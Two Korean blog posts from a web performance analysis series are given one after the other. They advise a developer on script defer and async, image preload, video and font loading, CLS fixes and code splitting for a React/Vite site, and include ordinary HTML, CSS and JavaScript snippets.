<script>
  ;(function (w, d, s, l, i) {
    w[l] = w[l] || []
    w[l].push({
      'gtm.start': new Date().getTime(),
      event: 'gtm.js',
    })
    var f = d.getElementsByTagName(s)[0],
      j = d.createElement(s),
      dl = l != 'dataLayer' ? '&l=' + l : ''
    j.async = true
    j.src = 'https://www.googletagmanager.com/gtm.js?id=' + i + dl
    f.parentNode.insertBefore(j, f)
  })(window, document, 'script', 'dataLayer', 'GTM-WDWL5GM')
</script>
```

이 자바스크립트 리소스들을 대상으로 성능에 도움이 되는 스크립트 로딩 최적화 관련 안내를 추가해 두겠습니다.

`<head />` 에 위치한 스크립트 중 `async` 내지는 `defer` 가 없는 리소스는 HTML 파싱을 중단시키고 스크립트를 다운로드하고 실행할때까지 기다리게 만들어 페이지 로딩 속도를 지연 시킵니다.

- `kakao.min.js` 해당 기능은 아마도 카카오 로그인을 위해서 필요한 것으로 보이는데요. 해당 리소스가 웹서비스 로딩에 반드시 필요한게 아니라면, 카카오 로그인이 필요한 시점에 동적으로 삽입하거나, `defer` 를 추가하거나, `body` 최하단으로 내려주세요.
- `jquery-1.12.4.min.js` jquery는 혹시 정말로 필요하신건가요? 제가 jquery 스크립트를 제거하고 실행해봤을 땐 크게 이슈가 없었습니다. `jquery` 는 굳이 사용할 필요가 없을 뿐더러, 버전도 매우 낮아 사용하는 것이 위험하고 불필요해보입니다.
- `iamport.payment` 아임포트 결제 모듈은 사용자가 결제를 시도하는 시점에만 필요할 것 같습니다. 해당 코드는 결제가 필요한 페이지에서만 불러오도록 수정해주시거나, 최소한 `defer`는 추가해주세요.
- [`//wcs.naver.net/wcslog.js`](https://wcs.naver.net/wcslog.js) : 네이버 로그 분석을 위한 스크립트로 보이는데요, 이 스크립트 역시 `async` `defer` 를 추가해주시는 것이 좋습니다. 분석 스크립트는 렌더링에 중요한 요소가 아니므로, 비동기로 처리하는 것이 좋습니다.

실제로 현재 위 두 라이브러리가 nextjs 가 페이지를 렌더링하는데 필요한 리소스를 블로킹하는 것을 볼 수 있습니다.

![image.png](./images/web-performance-analysis-2/image12.png)

단순히 저 네 라이브러리에 defer를 추가하는 것 만으로도 nextjs 가 페이지를 불러오는 시점을 크게 앞당길수 있습니다.

![image.png](./images/web-performance-analysis-2/image13.png)

위 스샷은 앞선 네개의 리소스에 단순히 `defer` 만 추가한 코드 인데요. next.js 코드를 다운로드 하고 파싱하는 시점을 1초 가까이 줄인 것을 볼 수 있습니다.

## 4-3. 배너 이미지 최적화

개발자님의 사이트는 사이트 최초 접근시 대형 배너가 노출되는 구조입니다.

![image.png](./images/web-performance-analysis-2/image14.png)

당연히 이는 성능적으로, 그리고 LCP 가 별로 좋아하지 않는 UI 입니다. 개발자 입장에서는 없애고 싶은 리소스이지만 사업적으로는 중요한 배너일 수 있습니다. 이러한 배너를 노출시키면서도, 라이트 하우스 점수를 최대한 끌어올 수 있는 방법을 몇가지 제안해드리겠습니다.

- 더 압축률이 높은 이미지 포맷 사용: 현재 사용중인 이미지는 PNG 입니다만, webp 나 avif 등을 사용하신다면 이미지의 크기를 더 줄이실 수 있습니다.
- 서버에서 이미지를 가져오도록 변경: 현재 구조에서는 자바스크립트 번들이 모두 다운로드되고 파싱된 이후에 서야 비로소 배너에 뜰 이미지를 알수 있는 구조입니다.

  ![image.png](./images/web-performance-analysis-2/image15.png)

  배너에 필요한 이미지를 서버사이드 렌더링에서 인지할 수 있도록 `getServerSideProps` 를 활용해보시기 바랍니다.

- 프리로드 스캐너 활용: 브라우저는 프리로드 스캐너라는 특별한 동작이 있습니다. 이 프리로드 스캐너란 HTML 문서를 분석하는 주요 파서외에 보조적으로 동작하는 스캐너로, HTML 문서를 빠르게 로드하기 위한 내부 최적화 도구입니다. 프리로드 스캐너는 다음과 같은 동작을 수행합니다.
  1. HTML 을 미리 읽으면서 `link` `script` `img` 태그등으로 선언된 주요 리소스를 먼저 찾습니다.
  2. 주요 파서가 해당 태그에 도달하기 전이라도, 그리고 다른작업으로 파서가 멈춰있더라도 스캐너는 1번에서 찾은 리소스가 있다면 리소스를 미리 다운로드 합니다.
  3. CSS, JS 등으로 렌더링이 차단되어 있더라도 리소스를 병렬로 다운로드 할 수 있어 페이지 로딩 속도를 향상시킵니다.

  자세한 내용은 아래 블로그 참고 부탁드립니다.

  [브라우저의 프리로드 스캐너(pre-load scanner)와 파싱 동작의 이해](https://yceffort.kr/2022/06/preload-scanner)

  해당 이미지는 현재 프리로드 스캐너가 추가되어 있지 않아 해당 이미지 태그를 만나는 시점까지 이미지를 불러오지 않습니다. 만약 프리로드 스캐너가 불러올 수 있도록 다음 태그를 추가해주신다면, 이미지를 미리 다운로드 받아올 수 있어 성능이 향상됩니다.

  ```html
  <link
    rel="preload"
    as="image"
    href="https://cf.example.com/mercury/admin/4de275c6-3517-4316-bb45-78e9d80dfafb/7b253cc6-e4f8-459d-b869-4e37dee5a048.png?Expires=1721284816&Signature=hFDXxzCE0NmomVB-nhe0NR6FvA1ZwMVP6EDSFzU6dk5GhWVaQ7r6bXZZ-YQc0MQ7C-EGU4dW9dRUtDoFyVE-FL5HZhKSfv-VBqV4dHGhcfg3ObbeXH9~aG0X3UT8IJIILCqPfZDyrd59noaardQohENAUTgU6qum3kxkPw~fIRyqyBPBUkVDXMvePkenNd0hVq5KYggH44xZqr36L1JyHCslxN2WZlo504BCbQU9q1JARZc86ocwUgUaLfYf0cIe9YDpZBb3QotguVte5aC5TOh862N1XQ~P3CuC2Pcxdh9EUECwePqaSCuzE1KUnNC56qUfvJo7g9vHqbqqEquPqw__&Key-Pair-Id=K23149LG91UYF2&response-content-disposition=attachment%3B+filename*%3DUTF-8 7 7s3Path.png"
  />
  ```

  위 태그를 추가한 전후를 살펴보면 다음과 같습니다.

  ![image.png](./images/web-performance-analysis-2/image16.png)

  ![image.png](./images/web-performance-analysis-2/image17.png)

단순히 해당 태그를 추가한 것 만으로 이미지 다운로드 우선순위가 크게 앞당겨졌으며, LCP 역시 1초가까이 향상된 것을 볼 수 있습니다.

- `fetchpriority: 'high'` : 이와 비슷한 기법으로 이미지에 해당 속성을 추가하는 방법도 있습니다만, 이미지에 대한 존재시점을 스크립트가 다 실행되어야 아는 배너의 특성상 별로 도움이 되지는 않을 것 같습니다.

  [Fetch Priority API로 리소스 로드 최적화  |  Articles  |  web.dev](https://web.dev/articles/fetch-priority?hl=ko)

- 이미지 크기 조절: 현재 이미지는 노출되는 크기 대비 큰 것으로 보입니다. 사용자의 화면 크기에 노출하고 싶은 사이즈로 적절하게 조절하는 것이 좋아보입니다.

## 4-4. 비디오 리소스 최적화

현재 개발자님의 웹사이트에서는 다음과 같은 비디오 리소스도 일부 사용하시는 것으로 보입니다.

```html
<video
  autoplay=""
  loop=""
  muted=""
  playsinline=""
  disablepictureinpicture=""
  width="100%"
  height="auto"
  src="https://cf.example.com/example.png"
></video>
```

이 비디오 리소스 역시 성능에 영향을 미칠 수 있는 부분이 있어 몇가지 조언의 말씀 드리겠습니다.

- 적절한 크기 사용: 비디오가 모바일 화면에서 보이는 것 대비 크기가 큰것으로 보입니다. 비디오가 보이는 영역에 필요한 최소한의 해상도와, 화질 저하가 없는 선에서 최대한 낮은 비트 전송률을 사용하는 것이 좋아보입니다.
- `poster` 사용: `video`에는 `poster` 라는 속성이 있습니다. 이 속성은 비디오가 일시정지되거나 재생 실패시 보여주는 이미지이기도 하면서, video 가 LCP 요소일 때 사용되는 기준이 되기도 합니다. 이 속성을 추가하여 최적화된 정지이미지를 제공하시기 바랍니다.
- CLS 방지: CSS 로 비디오의 aspect-ratio 를 명확히 지정하시어 비디오 로딩전 공간을 미리 확보하시기 바랍니다.

## 4-5. CLS 가 발생하는 큰 제목

현재 개발자님의 사이트에 있는 큰 제목이 CLS 를 발생시키고 있는 것으로 보입니다.

![image.png](./images/web-performance-analysis-2/image18.png)

![image.png](./images/web-performance-analysis-2/image19.png)

위에서 보시는 것 처럼 제목 영역이 크게 움직이는 것으로 보이는데, 그 이유를 찾아보니 다음과 같았습니다.

```html
<!-- ko.html 을 불러올 때 폰트 크기 -->
<div
  letter-spacing="-0.02em"
  color="#242424"
  cursor=""
  text-decoration="none"
  style="font-size:50px"
  class="css-bygkac e1mepo3j0"
>
  플랫폼
</div>

<!-- 최종적으로 렌더링되는 크기 -->
<div
  letter-spacing="-0.02em"
  color="#242424"
  cursor=""
  text-decoration="none"
  style="font-size: 30px;"
  class="css-bygkac e1mepo3j0"
>
  플랫폼
</div>
```

```javascript
  {
    font: 'title_1_B',
    color: 'greyScale90',
    style: {
      fontSize: i ? '50px' : 'ko' === n ? '30px' : '24px',
    },
    children: e(i ? 'homeV2.example.title' : 'homeV2.example.titleMobile'),
  }
```

대충 로직을 파악해보면 다음과 같았습니다.

- 현재 환경이 데스크톱이면 50px 로 설정
- 데스크톱이 아니고, ko 면 30px 로 설정, 그 외에는 24px 로 설정

현재 정황상 브라우저/모바일 여부도 서버에서가 아닌 클라이언트에서 판단하고 있다는 것을 의미합니다. 이는 클라이언트 코드가 실행되는 시점에서 폰트가 급격하게 줄어들므로, CLS 에 안좋은 영향을 미치게 됩니다.

이처럼 자바스크립트에서 판단하시는 것보다는, CSS 미디어 쿼리를 사용해서 판단하게 하는 것을 추천해드립니다. CSS 는 자바스크립트 보다 훨씬 빠르게 파싱되고 적용되며, 스타일과 자바스크립트의 관심사를 명확하게 분리하여 자바스크립트는 인터랙션 로직에 집중할 수 있을 것입니다.

## 4-6. 렌더링을 블로킹하는 폰트

현재 css 상단에 다음과 같이 외부 폰트를 불러오는 코드가 있다는 것을 확인할 수 있었습니다.

```css
@import 'https://fonts.googleapis.com/css2?family=Noto+Sans+KR:wght@300;400;500;700&family=Noto+Sans+JP:wght@300;400;500;700&family=Noto+Sans+SC:wght@300;400;500;700&display=swap';
*,
:after,
:before {
  box-sizing: border-box;
  white-space: pre-wrap;
}
```

이 코드는 다음과 같은 문제가 있습니다.

- CSS 파일 내의 `@import` 규칙은 페이지 렌더링을 차단할 수 있습니다. 브라우저는 먼저 이 CSS 파일을 다운로드하고 파싱하다가 `@import`를 만나면, 그제야 구글 폰트 서버로 또 다른 CSS 파일을 요청합니다. 이 구글 폰트 CSS 파일 안에는 실제 폰트 파일(`woff2` 등)을 다운로드하는 `@font-face` 규칙이 들어있습니다. 이렇게 여러 단계의 요청이 순차적으로 발생하여 폰트 로드가 지연되고, 이는 FOUT(Flash of Unstyled Text) 또는 CLS(Cumulative Layout Shift)의 원인이 될 수 있습니다. (`display=swap`은 FOUT을 유도하여 텍스트는 빨리 보이지만, 폰트 변경 시 레이아웃이 밀릴 수 있습니다.)
- **다수 폰트 로드**: Noto Sans KR (한국어), JP (일본어), SC (중국어 간체) 폰트를 여러 굵기(weight)로 로드하고 있습니다. 만약 특정 페이지나 사용자의 언어 설정에 따라 일부 폰트만 필요하다면, 불필요한 폰트까지 다운로드하여 초기 로딩 속도를 느리게 만듭니다. CJK (Chinese, Japanese, Korean) 폰트는 문자셋이 매우 커서 파일 크기가 상당합니다.

위와 같은 문제를 수정하기 위해 다음과 같은 방안을 제안드립니다.

- HTML `<head>`에서 `<link>` 태그로 변경: `@import` 대신 HTML 파일의 `<head>` 섹션에 `<link>` 태그를 사용하여 폰트를 로드하는 것이 좋습니다. 이렇게 하면 브라우저가 병렬적으로 또는 더 일찍 폰트 CSS를 요청할 수 있습니다.
  `preconnect`는 폰트 서버에 미리 연결하여 다운로드 속도를 약간 더 향상시킬 수 있습니다.

```html
<head>
  <link rel="preconnect" href="https://fonts.googleapis.com" />
  <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin />
  <link
    href="https://fonts.googleapis.com/css2?family=Noto+Sans+KR:wght@300;400;500;700&family=Noto+Sans+JP:wght@300;400;500;700&family=Noto+Sans+SC:wght@300;400;500;700&display=swap"
    rel="stylesheet"
  />
</head>
```

- 필요한 폰트만 로드 및 폰트 서브셋팅(Subsetting):
  - 선택적 로드: 사용자의 언어 설정(locale)에 따라 필요한 언어의 폰트만 동적으로 로드하거나, 최소한의 기본 폰트만 초기에 로드하고 나머지는 필요시 로드하는 방식을 고려할 수 있습니다.
  - 서브셋팅: CJK 폰트의 경우, 웹사이트에서 실제로 사용하는 글자들만 추려서 폰트 파일(서브셋)을 만들면 파일 크기를 크게 줄일 수 있습니다. (구글 폰트는 어느 정도 자동 서브셋팅을 하지만, 완벽하지 않을 수 있습니다.) 이는 주로 폰트를 직접 호스팅할 때 더 효과적으로 제어할 수 있습니다.

# 5. 마치며

지금까지 `example.com` 웹사이트의 성능을 저해하는 주요 요인으로 지적된 과도한 자바스크립트 문제와 주요 리소스(다국어 데이터, 이미지, 폰트 등) 처리의 비효율성을 살펴보았습니다. 이를 해결하기 위해 제시된 자바스크립트 최적화 및 로딩 개선, 그리고 각 리소스별 최적화 방안들이 `example.com` 웹사이트를 더욱 빠르고 안정적으로 만드는 데 실질적인 도움이 되기를 바랍니다.

이러한 작은 최적화 노력들이 쌓여 사용자들에게는 더욱 만족스러운 경험을 선사할 것이며, 이는 곧 서비스의 성장으로 이어질 수 있는 중요한 밑거름이 될 것입니다.

`example.com`의 성공적인 성능 개선 여정을 응원하며, 앞으로도 지속적인 관심과 관리를 통해 더욱 발전하는 웹사이트가 되기를 기대합니다. 궁금하신 점이나 추가 지원이 필요하시면 언제든 편하게 문의해주십시오.

이만 마무리하겠습니다. 편안한 밤 되시길 바랍니다!

---

Source: https://yceffort.kr/2025/05/web-performance-analysis-1.md
Title: 웹 서비스 성능 분석 (1)
Description: 관심 가져주셔서 감사합니다. 🎉
Date: 2025-05-06
Tags: web-performance, react, frontend
Series: 웹 서비스 성능 분석

## 실제 개발자 피드백

### 글이 많이 도움이 되었는지:

- 그동안 성능 최적화를 해보려고 인프런 강의를 구매해 듣고, 구글의 성능 가이드도 많이 찾아봤습니다.하지만 모르는 영역이 많다 보니 한 곳을 파다 보면 다른 주제로 빠지게 되고, 결국 어중간한 정보만 쌓은 채 정작 고쳐야 할 부분은 손대지 못한 채 프로젝트를 마무리하곤 했습니다.그래서 늘 찝찝한 마음에 주말마다 계속 들여다보며, ‘성능 최적화는 왜 이렇게 어려운 걸까?’ 하는 생각을 하곤 했습니다.
- 이번에 받은 성능 분석 글은 저에게 완벽한 웹 성능 최적화 **가이드**가 되었습니다. 덕분에 한 걸음 앞으로 나아갈 수 있는 계기가 되었습니다. 감사합니다.

### 다른 개발자에게 이러한 성능 분석을 추천할 수 있을지:

- 네, 추천합니다. 얼마전에 웹 성능 최적화 강의를 들으려고 인프런에 접속했는데, 관련된 강의가 많이 없습니다.
- 그리고 성능 최적화 환경을 임의로 만드는 것이 아니라, 실제 실무에서 사용될 수 있는 사이트를 다뤄주셔서 개발자들에게 더욱 큰 도움이 될 것 같습니다.
- 출간하시면 무조건 구매합니다!

## 추가 피드백

> 사이트마다 다르겠지만, yceffort 님이 보시기에 복잡한 기능이 크게 없는 사이트에서 100kb 정도면 크다라고 판단할 수 있는 기준은 무엇일까요? 이런 실무적인 감각들이 궁금해서, 책에 함께 담아주시면 큰 도움이 될 것 같습니다!

https://httparchive.org/reports/state-of-javascript?start=earliest&end=latest&view=list#bytesJs

위 사이트 방문하시면 현재 웹에서 운영되는 사이트 들의 평균적인 자바스크립트 크기를 알 수 있습니다.
현재 기준 680kb 정도 인데요, 이에 비해 개발자님의 사이트는 매우 작은 수치라고 볼 수 있습니다. 이부분 내용은 제가 뺴먹었네요. 추가하겠습니다!

> 콜스택을 이해하는 방법에 대한 설명이 들어간다면, 저처럼 잘 몰랐던 개발자들에게는 정말 유레카! 하는 순간이 되지 않을까 생각합니다.

이부분은 단순히 해당 이미지를 그리기 위해 함수 호출이 18번 발생한다 정도로만 소개하기 위해서 급하게 넘어간 감이 있는 것 같습니다. 이부분은 차후에 보완하도록 하겠습니다 =)

> react, react-dom 외에도 빌드 시 용량이 크다고 경고 메시지를 받는 패키지의 경우 → 이런 경우 종속성을 고려해 잘 나눠보는 수밖에 없을까요?

네! 이부분은 개발자의 순전히 취향 정도로 보시면 될 것 같습니다. 저의 경우 과거 create-react-app 기반 프로젝트에서 webpack, react, react-dom 이 세가지 관련 코드를 `framework.js` 라고 하는 별도의 청크로 나눴었습니다. 위 세 패키지는 제가 작성한 코드 또는 필요에 따라 임의로 설치하는 패키지 대비 어지간하면 변경되지 않는 패키지이 이기 때문에 이렇게 나눴었습니다. 이처럼 개발자님께서 보시기에 변경사항이 거의 없을 것 같은 패키지는 별도 청크로 나눠 사용자 브라우저 캐시의 이점을 누릴 수 있도록 조치해주시면 좋을 것 같습니다.

> react-device-detect 외에도 → 이 말씀은, 앞으로 시간이 된다면 라이브러리 사용보다는 직접 구현해보라는 의미로 이해하면 될까요?!

개인적으로는 취향의 영역이라고 생각합니다. 개발 속도와 빠른 배포가 중요한 상황이라면 안정적인 패키지를 설치하는 것이 좋고, 진짜 성능을 극단적으로 깎고 싶거나, 패키지 크기 대비크게 사용하지 않는 경우라면 내재화하는 것이 낫다고 생각합니다. 저는 패키지 사용전에 항상 https://bundlephobia.com/ 에 해당 패키지의 크기와 내부 상황을 꼼꼼히 검토하고 설치하는 편입니다.

---

> 다음은 실제 개발자 분에게 전달 드린 글 입니다. 사이트 주소와 이미지 등의 정보는 가려져 있습니다.

# https://example.com 성능 분석

# 1. 요약

요청하신 `https://example.com` 웹사이트의 성능을 분석해 보았습니다. 전반적으로 웹사이트의 로딩 속도와 사용자 경험을 개선할 수 있는 여지가 충분히 있는 것으로 확인되었습니다.

현재 주요 지표인 LCP(가장 큰 콘텐츠 렌더링 시간)는 약 3~4초 수준으로 측정되었고, 화면 요소들이 예기치 않게 움직이는 정도를 나타내는 CLS(누적 레이아웃 이동) 값은 0.272로 나타나, 두 지표 모두 사용자 경험 향상을 위해 개선이 필요한 상태입니다.

분석 결과, 가장 큰 성능 병목 지점은 다음과 같습니다.

- **초기 이미지 로딩 지연 (LCP)**: 첫 화면의 핵심 이미지(`/webp/part1/time.webp`)가 표시되기까지 시간이 다소 걸립니다. 이는 웹사이트의 구조상 브라우저가 관련 자바스크립트 코드를 먼저 처리해야 이미지를 불러올 수 있기 때문인 것으로 보입니다.
- **레이아웃 불안정성 (CLS)**: 위 이미지 로딩 시, 해당 이미지의 크기가 미리 지정되지 않아 CLS 점수에 주된 영향을 미치고 있습니다.

이러한 문제들을 해결하고 더 쾌적한 웹사이트 경험을 제공하기 위해 다음과 같은 개선 방안을 우선적으로 제안합니다.

1. **핵심 이미지 미리 로드하기 (`<link rel="preload">`)**: 가장 중요한 LCP 이미지를 브라우저가 다른 작업 이전에 미리 다운로드하도록 하여 화면 표시 속도를 앞당깁니다.
2. **이미지 공간 미리 확보하기 (CLS 개선)**: 이미지 태그에 크기(너비/높이) 정보를 명시하여 이미지가 로드될 때 레이아웃이 흔들리지 않도록 안정화합니다. (Preload 적용 시에도 이 문제가 일부 완화되는 것을 확인했습니다.)
3. **자바스크립트 코드 분할하기 (Code Splitting)**: 초기 로딩에 필요한 자바스크립트의 양을 줄여 브라우저의 부담을 덜고, 필요한 코드를 더 빠르게 병렬로 로드하여 전반적인 반응 속도를 높입니다.

이 권장 사항들을 적용하시면 웹사이트의 성능과 사용자 만족도를 크게 높일 수 있을 것으로 기대합니다. 자세한 분석 내용과 구체적인 방법은 이어지는 섹션에서 설명드리겠습니다.

# 2. 분석 개요

2025년 4월 29일 기준으로 배포되어 있는 웹사이트를 살펴보았습니다.

![image.png](./images/web-performance-analysis-1/image.png)

분석에 사용한 도구는 다음과 같습니다.

- chrome dev tool
- webpagetest

# 3. 웹사이트 분석

## 주요 프레임워크 및 라이브러리

1. `react`, `react-dom` : index 파일 내부에 리액트 코드로 추정되는 주석과 함수, 그리고 jsx 를 확인할 수 있었습니다. 사용하신 버전은 18.3.1 로 보입니다.
2. `styled-components` : `data-styled`, `styledComponentId` 와 같은 변수명, `styled.` 등을 사용하신 것을 확인했습니다. 사용하신 버전은 6.1.14 입니다.
3. `react-router`: `useNavigate` `useLocation` 등은 `react-router`에서 널리 쓰이는 훅이며, 내부에서 쓰는 오류 메시지로 `<Router>` 등의 존재도 확인했습니다. 사용하신 버전은 7.1.3 입니다.
4. `us-parser-js` : UserAgent 분석을 위한 라이브러리 입니다. `UAParser` 객체와 관련된 메소드가 존재하는 것으로 확인했습니다. 이 패키지는 설치를 의도하지는 않으신 것 같고, 후술할 `react-device-detect`의 의존성으로 인해 설치된 것으로 보입니다.
5. `react-modal`: `ReactModal__Overlay` `ReactModal__Content` 과 같은 `react-modal`에서 예약어 수준으로 쓰이는 클래스명 의 존재를 통해 알수 있었습니다.
6. `react-device-detect`: `BrowserView` `isMobile` 와 같은 `react-device-detect` 특유의 변수명을 확인할 수 있었습니다.
7. `vite` : 번들러의 경우 소스코드에 명시적인 특징이 없어 바로 확인할 수 없지만, 파일 시작 부분에 `vite` 를 사용했을 것으로 추정되는 `modulepreload` 관련 코드를 확인할 수 있었습니다. 이 코드는 `modulepreload`의 존재여부를 확인하고, 이를 지원하지 않는 브라우저라면 폴리필을 적용하려고 시도하기 위해 작성되었는데, 이는 `vite`기반으로 만들어진 웹 애플리케이션에서 눈에 띄게 확인할 수 있는 내용 중 하나입니다.

## 빌드 환경

앞서 언급드린 내용을 토대로 살펴보면, `create-vite`로 제작된 리액트 프로젝트이며, 기본 설정을 크게 건들지 않고 만들어진 프로젝트일 가능성이 높아보입니다.

## 배포 환경

amazon cloud front 를 사용하여 서울 리전에서 배포중인 것으로 확인됩니다.

```bash
ping example.com
PING example.com (0.0.0.0): 56 data bytes
```

[IP Address Lookup for 0.0.0.0 in Icheon, Korea (the Republic of)](https://whatismyipaddress.com/ip/0.0.0.0)

# 4. 주요 고민

## LCP 점수 향상

LCP (Largeset Contentful Paint) 는 잘 아시는 것 처럼 핵심 웹 지표를 측정하는 가장 첫번째 지표로, 사용자 경험 측면에서 페이지가 얼마나 빨리 로드되는 것처럼 느껴지는 지 측정하는 지표 입니다. 이는 뷰포트 내에서 가장 큰 콘텐츠 요소가 화면에 렌더링 되기 까지 얼마나 걸리는지 시간을 측정합니다. 모든 지표가 그렇지만, LCP 역시 빠를 수록 빠르게 로드 된다고 느껴집니다.

현재 제 기준에서 측정한 LCP 점수는 3~4 초 정도 이므로, 개발자님께서 느끼시는 것 처럼 개선이 필요한 상태입니다. 그리고 LCP 에 영향을 주는 요소는 `/webp/part1/time.webp` 이고, 이것을 기준으로 원인을 파악해보았습니다.

### 자바스크립트 번들 크기 및 실행 지연

`index-mSjck-Fi.js` 의 크기는 총 100kb 정도로, 복잡한 기능이 크게 없는 정적인 웹사이트 치고는 큰 편입니다. 그 이유는 서비스의 로직을 담당하는 코드 (=개발자님께서 손수 작성하신 코드) 외에 `react` `react-dom` `styled-components` 등 프레임워크를 담당하는 코드들도 모두 포함되어 있기 때문입니다. 코드 스플리팅이 되어 있지 않기 때문에, 병렬 다운로드의 이점을 볼 수 없고, 모든 리소스가 이 자바스크립트 하나에 의존해야 한다는 점은 분며히 성능에 좋은 영향을 미치기 어렵습니다.

사실 100kb 는 엄밀히 말하면 요즘 프론트엔드 트렌드 치고는 큰 파일은 아닙니다만, 문제는 이 서비스가 싱글페이지 애플리케이션이라는 것 입니다. SSR 의 혜택을 전혀 받을 수 없기 때문에 이미지를 그리는 시점은 순전히 자바스크립트에 영향을 받게 되는데, 이 자바스크립트 파싱이 지연될 수록 LCP 이미지를 그려지는게 느려지게 됩니다.

![image.png](./images/web-performance-analysis-1/image1.png)

위 스크린샷은 해당 사이트의 성능을 크롬 개발자 도구로 측정한 모습입니다. 모든 이미지가 자바스크립트 리소스 로딩 이후에 인식되고 실행되는 것으로 보아, 이미지 렌더링에 필요한 코드가 모두 자바스크립트 다운로드 및 평가 이후에 이뤄진다는 것을 알 수 있습니다.

![image.png](./images/web-performance-analysis-1/image2.png)

위 스크린샷은 해당 크롬 개발자 도구에서 네트워크 탭으로, 해당 이미지를 어디서 로딩했는지 확인할 수 있습니다. `initiator` 가 해당 리소스를 불러온 주체인데, 이를 누르면 어느 코드에서 이미지를 불러온지 확인할 수 있습니다.

![image.png](./images/web-performance-analysis-1/image3.png)

그리고 여기에 크롬 디버거를 걸어둔다면, 이 함수를 호출하기 위한 콜스택을 확인할 수 있습니다.

![image.png](./images/web-performance-analysis-1/image4.png)

콜스택이 총 18개 정도로, 해당 이미지를 그리는 과정에 이르기까지 총 18번의 함수를 호출해야한다는 것을 의미합니다. 위 라이브러리 현황, 그리고 현재 상황을 종합해 봤을때 18개 함수를 호출되기까지 이르는 과정은 아마도 다음과 같을 것입니다.

1. `createRoot`
2. 루트 리액트 컴포넌트 렌더링 시작
3. 컴포넌트 트리 순회
4. 리액트 라우터 처리
5. 컴포넌트 트리 렌더링
6. LCP 가 포함된 컴포넌트 렌더링
7. 이미지 컴포넌트 렌더링 (`bn`) ⇒ 메일에서 말씀하신 그 부분 인 것 같습니다.
8. `<img/>` 태그 생성 및 이미지 요청

18 단계가 물론 싱글 페이지로 구성된 리액트 관점에서 그렇게 깊다고 볼수는 없습니다만, LCP 에 영향을 미친다는 것은 부정할 수 없습니다.

## 해결 방안

위 분석을 토대로 다음과 같은 해결방안을 제시해드립니다.

### 1. SSR 내지는 SSG 로 전환

Next.js 나 Remix 와 같은 리액트 기반 서버사이드 렌더링 프레임워크를 차용한다면 위 문제를 손쉽게 해결 할 수 있습니다. SSR 로 전환된다면, 이미지의 initiator 가 js 가 아닌 html 이 되기 때문에 굳이 자바스크립트를 로딩하지 않더라도 이미지를 빠르게 불러올 수 있습니다. 물론 이는 프로젝트 구조를 뒤흔들어야 하고, 이를 배포할 인프라도 필요하다는 단점도 있기 때문에 바로 적용하시기는 어려울 것입니다.

### 2. LCP 이미지에 Preload 적용

브라우저는 프리로드 스캐너라는 특별한 동작이 있습니다. 이 프리로드 스캐너란 HTML 문서를 분석하는 주요 파서외에 보조적으로 동작하는 스캐너로, HTML 문서를 빠르게 로드하기 위한 내부 최적화 도구입니다. 프리로드 스캐너는 다음과 같은 동작을 수행합니다.

1. HTML 을 미리 읽으면서 `link` `script` `img` 태그등으로 선언된 주요 리소스를 먼저 찾습니다.
2. 주요 파서가 해당 태그에 도달하기 전이라도, 그리고 다른작업으로 파서가 멈춰있더라도 스캐너는 1번에서 찾은 리소스가 있다면 리소스를 미리 다운로드 합니다.
3. CSS, JS 등으로 렌더링이 차단되어 있더라도 리소스를 병렬로 다운로드 할 수 있어 페이지 로딩 속도를 향상시킵니다.

자세한 내용은 아래 블로그 참고 부탁드립니다.

[브라우저의 프리로드 스캐너(pre-load scanner)와 파싱 동작의 이해](https://yceffort.kr/2022/06/preload-scanner)

LCP 이미지는 현재 프리로드 스캐너에 걸릴 수 없는 구조입니다. 왜냐하면 이미지의 존재 자체를 js 가 모두 평가한 시점에서야 비로소 알수 있기 때문입니다. 만약 HTML `<head>`에 `<link rel="preload" as="image" href="/webp/part1/time.webp">` 태그를 추가하여 브라우저가 JS 실행을 기다리지 않고 미리 이미지를 다운로드 할 수 있다면, 설령 이미지 삽입 시점은 JS 실행 이후가 될지라도 보다 빠르게 불러올 수 있습니다. 아래는 개발자님 사이트에서 link 태그를 적용하기 전 후 예시입니다.

![image.png](./images/web-performance-analysis-1/image5.png)

적용하기전, 이미 아시는 것 처럼 이미지 다운로드는 JS 실행 시점 이후에 잡혀있습니다. 그 이유는 브라우저가 이미지가 존재한다는 것을 알아채는 시점이 그 이후이기 때문입니다.

![image.png](./images/web-performance-analysis-1/image6.png)

하지만 프리로드 스캐너가 인식할 수 있도록 `link` 태그를 추가한 이후에는 상황이 많이 달라졌습니다. js 를 다운로드하고 파싱하고 있는 와중에도 100kb 에 달하는 이미지를 병렬로 다운로드 하는 것을 볼 수 있습니다. 이는 프리로드 스캐너에 의해 이미지가 미리 스캔되어 다운로드 되었다는 증거이며, 비록 이미지 로딩은 js 시점 이후라 할지라도 렌더링 하는 속도는 훨씬 빨라질 것입니다.

프리로드 스캐너는 단순히 LCP 이미지 외에도 해당 스크린샷에서 보이는 다양한 이미지에도 함께 사용할 수 있습니다. 페이지에 확정적으로 로딩되며 뷰포트에 걸릴 수 있는 중요 이미지라면, 개발자님께서 추가해주신 `lazy` 속성 제외 외에도 이러한 기법을 사용해보시는 것을 검토해주세요.

LCP에 대해 자세히 아시고 싶다면, 다음 블로그 글을 추천해드립니다.

[Largest Contentful Paint (LCP) 최적화하기](https://yceffort.kr/2022/06/optimize-LCP)

### 3. avif 포맷사용

avif 는 webp 보다 일반적으로 압축률이 더 뛰어난 것으로 알려져 있습니다. 다만 브라우저 지원 범위가 조금더 타이트 하기 때문에 이부분은 충분히 검토해보시길 추천해드립니다.

[AVIF vs. WebP: 4 Key Differences and How to Choose](https://cloudinary.com/guides/image-formats/avif-vs-webp-4-key-differences-and-how-to-choose#3-browser-support)

### 4. 코드 스플리팅 구현

앞서 말씀 드린 것 처럼 현재 `index-mSjck-Fi.js` 에는 초기 로딩에 필수적이지 않은 코드 (모달 등) 들이 많이 포함되어 있습니다. 초기 데이터 로딩에 필요한 코드들만 별도 청크로 분리하시는 것이 중요합니다. 그렇게 함으로써 초기 로딩에 필요한 JS 크기를줄여 파싱 및 실행시간을 단축할 수 있고, 이로 인해 LCP 렌더링 이미지 시작 시간을 크게 땡겨 올 수 있습니다. `vite`는 코드 스플리팅과 관련된 다양한 도구들을 지원하기 때문에, 어렵지 않게 해내실 수 있으리라 생각됩니다.

